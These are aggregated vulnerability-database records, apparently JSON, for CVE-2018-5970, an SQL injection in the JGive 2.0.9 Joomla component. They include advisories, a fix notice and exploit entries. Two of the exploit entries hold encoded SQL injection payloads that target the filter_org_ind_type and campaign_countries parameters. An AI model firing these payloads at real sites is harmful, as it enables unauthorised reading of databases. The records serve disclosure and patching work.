{"href": "https://packetstormsecurity.com/files/146446/Joomla-JGive-2.0.9-SQL-Injection.html", "history": [], "sourceData": "`# # # # \n# Exploit Title: Joomla! Component JGive 2.0.9 - SQL Injection \n# Dork: N/A \n# Date: 16.02.2018 \n# Vendor Homepage: http://techjoomla.com/ \n# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/donations/jgive/ \n# Version: 2.0.9 \n# Category: Webapps \n# Tested on: WiN7_x64/KaLiLinuX_x64 \n# CVE: CVE-2018-5970 \n# # # # \n# Exploit Author: Ihsan Sencan \n# # # # \n# \n# POC: \n# \n# 1) \n# http://localhost/[PATH]/index.php?option=com_jgive&view=campaigns&layout=all&filter_org_ind_type=[SQL] \n# \n# \n# 2) \n# http://localhost/[PATH]/index.php/more/campaigns-in-pin-display/campaigns/all/search/:?campaign_countries=[SQL] \n# \n# \n# # # # \n \n`\n", "bulletinFamily": "exploit", "modified": "2018-02-17T00:00:00", "title": "Joomla! JGive 2.0.9 SQL Injection", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://packetstormsecurity.com/files/download/146446/joomlajgive209-sql.txt", "cvelist": ["CVE-2018-5970"], "description": "", "viewCount": 1, "published": "2018-02-17T00:00:00", "edition": 1, "hash": "d283b8773ce7726d02ac52479376583c45d18ef3f894e3bbde94c1206d51ee13", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "efc698c6b63dd154b26d9662c2318edd"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "0cd9eddbc14d5558fcd88252b2954830"}, {"key": "modified", "hash": "1ec511459282d2aab4200848ff8fd180"}, {"key": "published", "hash": "1ec511459282d2aab4200848ff8fd180"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "8f9da6443571f75195f401f82e60b810"}, {"key": "sourceData", "hash": "ad5cd78c3278cc4d366a0411e8f739b7"}, {"key": "sourceHref", "hash": "7b6a35310fea95d40cdbfb1af2e9b4a7"}, {"key": "title", "hash": "b1dd38526a9a9606c499ea2120d45935"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "id": "PACKETSTORM:146446", "type": "packetstorm", "lastseen": "2018-02-17T17:02:52", "reporter": "Ihsan Sencan", "enchantments": {"score": {"value": 7.5, "vector": "NONE"}, "vulnersScore": 7.5}, "objectVersion": "1.3", "references": []}

{"cve": [{"lastseen": "2018-03-03T14:03:31", "references": ["https://exploit-db.com/exploits/44116"], "description": "SQL Injection exists in the JGive 2.0.9 component for Joomla! via the filter_org_ind_type or campaign_countries parameter.", "edition": 2, "reporter": "NVD", "published": "2018-02-17T02:29:00", "title": "CVE-2018-5970", "type": "cve", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "assessment": {"system": "", "name": "", "href": ""}, "bulletinFamily": "NVD", "cvelist": ["CVE-2018-5970"], "scanner": [], "modified": "2018-03-02T10:52:43", "cpe": ["cpe:/a:techjoomla:jgive:2.0.9::~~~joomla%21~~"], "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5970", "id": "CVE-2018-5970", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "joomla": [{"lastseen": "2018-09-18T08:40:47", "_object_types": ["robots.models.base.Bulletin", "robots.models.jvel.JVELBulletin"], "references": ["https://extensions.joomla.org/extensions/extension/e-commerce/donations/jgive/", "https://techjoomla.com/blog/jgive/release-updates-for-jticketing-jboloand-invitex", "www.techjoomla.com"], "description": "JGive by Techjoomla.com, versions 2.0.9 and previous, SQL Injection\n\nresolution: update to 2.0.11\n\nupdate notice: https://techjoomla.com/blog/jgive/release-updates-for-jticketing-jboloand-invitex\n", "reporter": "velteam", "published": "2018-03-05T00:00:00", "type": "joomla", "title": "JGive, 2.0.9, SQL Injection", "enchantments": {"score": {"modified": "2018-09-18T08:40:47", "vector": "NONE", "value": 7.5}}, "bulletinFamily": "software", "affectedSoftware": [{"name": "JGive Package", "version": "2.0.9", "operator": "eq"}, {"name": "JGive Package", "version": "2.0.11", "operator": "lt"}], "cvelist": ["CVE-2018-5970"], "_object_type": "robots.models.jvel.JVELBulletin", "modified": "2018-03-05T09:39:37", "id": "JVEL:584", "href": "https://vel.joomla.org/vel-blog/2111", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2018-02-16T20:55:21", "osvdbidlist": [], "references": [], "description": "Joomla! Component jGive 2.0.9 - SQL Injection. CVE-2018-5970. Webapps exploit for PHP platform. Tags: SQL Injection (SQLi)", "edition": 1, "reporter": "Exploit-DB", "published": "2018-02-16T00:00:00", "title": "Joomla! Component jGive 2.0.9 - SQL Injection", "type": "exploitdb", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "bulletinFamily": "exploit", "cvelist": ["CVE-2018-5970"], "modified": "2018-02-16T00:00:00", "href": "https://www.exploit-db.com/exploits/44116/", "id": "EDB-ID:44116", "sourceData": "# # # # \r\n# Exploit Title: Joomla! Component JGive 2.0.9 - SQL Injection\r\n# Dork: N/A\r\n# Date: 16.02.2018\r\n# Vendor Homepage: http://techjoomla.com/\r\n# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/donations/jgive/\r\n# Version: 2.0.9\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: CVE-2018-5970\r\n# # # #\r\n# Exploit Author: Ihsan Sencan \r\n# # # # \r\n# \r\n# POC:\r\n# \r\n# 1)\r\n# http://localhost/[PATH]/index.php?option=com_jgive&view=campaigns&layout=all&filter_org_ind_type=[SQL]\r\n# \r\n# JTI3JTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTQxJTRlJTQ0JTIwJTJhJTJmJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTJhJTJmJTI4JTMyJTMyJTJjJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQzJTRmJTRlJTQzJTQxJTU0JTJhJTJmJTI4JTMwJTc4JTM1JTYzJTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTJhJTJmJTI4JTQ1JTRjJTU0JTI4JTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTMxJTNkJTMxJTJhJTJmJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTI5JTI5JTJkJTJkJTIwJTU4\r\n# \r\n# 2)\r\n# http://localhost/[PATH]/index.php/more/campaigns-in-pin-display/campaigns/all/search/:?campaign_countries=[SQL]\r\n# \r\n# JTI3JTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTQxJTRlJTQ0JTIwJTJhJTJmJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTJhJTJmJTI4JTMyJTMyJTJjJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQzJTRmJTRlJTQzJTQxJTU0JTJhJTJmJTI4JTMwJTc4JTM1JTYzJTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTJhJTJmJTI4JTQ1JTRjJTU0JTI4JTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTMxJTNkJTMxJTJhJTJmJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTI5JTI5JTJkJTJkJTIwJTU4\r\n# \r\n# # # #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.exploit-db.com/download/44116/"}], "zdt": [{"lastseen": "2018-04-09T17:40:57", "references": [], "edition": 1, "description": "Exploit for php platform in category web applications", "reporter": "Ihsan Sencan", "published": "2018-02-17T00:00:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "title": "Joomla jGive 2.0.9 Component - SQL Injection Vulnerability", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-5970"], "modified": "2018-02-17T00:00:00", "href": "https://0day.today/exploit/description/29824", "id": "1337DAY-ID-29824", "sourceData": "# # # # \r\n# Exploit Title: Joomla! Component JGive 2.0.9 - SQL Injection\r\n# Vendor Homepage: http://techjoomla.com/\r\n# Software Link: https://extensions.joomla.org/extensions/extension/e-commerce/donations/jgive/\r\n# Version: 2.0.9\r\n# Category: Webapps\r\n# Tested on: WiN7_x64/KaLiLinuX_x64\r\n# CVE: CVE-2018-5970\r\n# # # #\r\n# Exploit Author: Ihsan Sencan \r\n# # # # \r\n# \r\n# POC:\r\n# \r\n# 1)\r\n# http://localhost/[PATH]/index.php?option=com_jgive&view=campaigns&layout=all&filter_org_ind_type=[SQL]\r\n# \r\n# JTI3JTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTQxJTRlJTQ0JTIwJTJhJTJmJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTJhJTJmJTI4JTMyJTMyJTJjJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQzJTRmJTRlJTQzJTQxJTU0JTJhJTJmJTI4JTMwJTc4JTM1JTYzJTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTJhJTJmJTI4JTQ1JTRjJTU0JTI4JTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTMxJTNkJTMxJTJhJTJmJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTI5JTI5JTJkJTJkJTIwJTU4\r\n# \r\n# 2)\r\n# http://localhost/[PATH]/index.php/more/campaigns-in-pin-display/campaigns/all/search/:?campaign_countries=[SQL]\r\n# \r\n# JTI3JTIwJTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTQxJTRlJTQ0JTIwJTJhJTJmJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQ1JTU4JTU0JTUyJTQxJTQzJTU0JTU2JTQxJTRjJTU1JTQ1JTJhJTJmJTI4JTMyJTMyJTJjJTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTQzJTRmJTRlJTQzJTQxJTU0JTJhJTJmJTI4JTMwJTc4JTM1JTYzJTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTI4JTJmJTJhJTIxJTMxJTMzJTMzJTMzJTM3JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTJhJTJmJTI4JTQ1JTRjJTU0JTI4JTJmJTJhJTIxJTMxJTMyJTMzJTM0JTM1JTMxJTNkJTMxJTJhJTJmJTJjJTMxJTI5JTI5JTI5JTJjJTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTI5JTI5JTJkJTJkJTIwJTU4\r\n# \r\n# # # #\n\n# 0day.today [2018-04-09] #", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://0day.today/exploit/29824"}]}